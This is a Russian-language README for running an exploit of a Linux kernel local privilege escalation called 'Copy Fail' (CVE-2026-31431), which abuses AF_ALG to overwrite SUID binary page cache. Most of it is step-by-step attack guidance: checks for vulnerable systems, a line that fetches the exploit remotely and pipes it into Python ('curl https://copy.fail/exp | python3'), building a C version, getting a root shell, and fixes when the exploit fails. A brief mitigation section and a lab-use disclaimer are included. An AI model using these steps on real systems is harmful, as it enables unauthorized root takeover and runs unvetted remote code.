Copy Fail (CVE-2026-31431) – Руководство по использованию эксплойта

Оригинальный Readme взят у @painoob

Все версии ядра начиная с 2017 / 2016 уязвимы! Ядро 7 полностью защищено, остальные (между 5-7 могут быть всё ещё уязвимы)

⚠️ Отказ от ответственности

Этот контент предназначен только для образовательных целей и авторизованного тестирования безопасности. НЕ запускайте это на системах без явного разрешения.

📌 Обзор

Copy Fail (CVE-2026-31431) — это уязвимость локального повышения привилегий (LPE) в Linux, затрагивающая криптографический API ядра через AF_ALG.

Она позволяет непривилегированному пользователю перезаписать данные page cache SUID-бинарника (например, /usr/bin/su) и получить доступ root.

🧠 Требования

Системные требования

• Ядро Linux (уязвимое – зависит от статуса патча)
• Включён AF_ALG
• Загружен модуль algif_aead

Требования к Python-эксплойту

• Python 3.10+
• Поддержка:
  • os.splice
  • socket(AF_ALG)

🔍 Проверка уязвимости

uname -a
grep -i authencesn /proc/crypto
lsmod | grep alg

Ожидаемые индикаторы:

• authencesn(hmac(sha256),cbc(aes))
• algif_aead загружен

🐍 Запуск Python-эксплойта

1. Прямой запуск

python3 copy_fail_exp.py

2. Или через curl (если размещён удалённо)

curl https://copy.fail/exp | python3

3. Получение root-оболочки

su
id

Ожидаемый результат:

uid=0(root)

⚠️ Частые проблемы (Python)

❌ Ошибка: os.splice not found

Причина:

• Версия Python < 3.10
• Ограниченная сборка

Решение:

• Используйте более новый бинарник Python
• Загрузите статический интерпретатор Python

⚙️ Компиляция версии на C

1. Компиляция

gcc copy_fail_exp.c -o copy_fail

2. Сделать исполняемым

chmod +x copy_fail

3. Запуск эксплойта

./copy_fail
su

⚠️ Частые проблемы (C)

❌ Эксплойт запускается, но root не получен

Возможные причины:

• Ядро пропатчено
• Неверные смещения
• Несоответствие окружения

❌ Ошибки компиляции

Установите необходимые инструменты:

apt update && apt install build-essential

🧪 Устранение неполадок

Проверка, пропатчена ли система

dmesg | grep -i alg

Проверка модуля

lsmod | grep algif_aead

🛡️ Меры защиты

Отключение уязвимого модуля

echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
rmmod algif_aead

Применение патча ядра

Обновите систему:

apt update && apt upgrade

📌 Примечания

• Эксплойт изменяет только page cache (непостоянно)
• Требуется локальный доступ
• По умолчанию не эксплуатируется удалённо

🧠 Заключительный вывод

Если эксплойт не срабатывает, рассмотрите:

• Ядро уже пропатчено
• Ограничения окружения
• Альтернативные векторы повышения привилегий (SUID, capabilities, ошибки конфигурации sudo)

📚 Ссылки

• https://copy.fail/
• CVE-2026-31431

👨‍💻 Заметки автора

Используйте этот эксплойт ответственно только в лабораториях, CTF и авторизованных пентестах.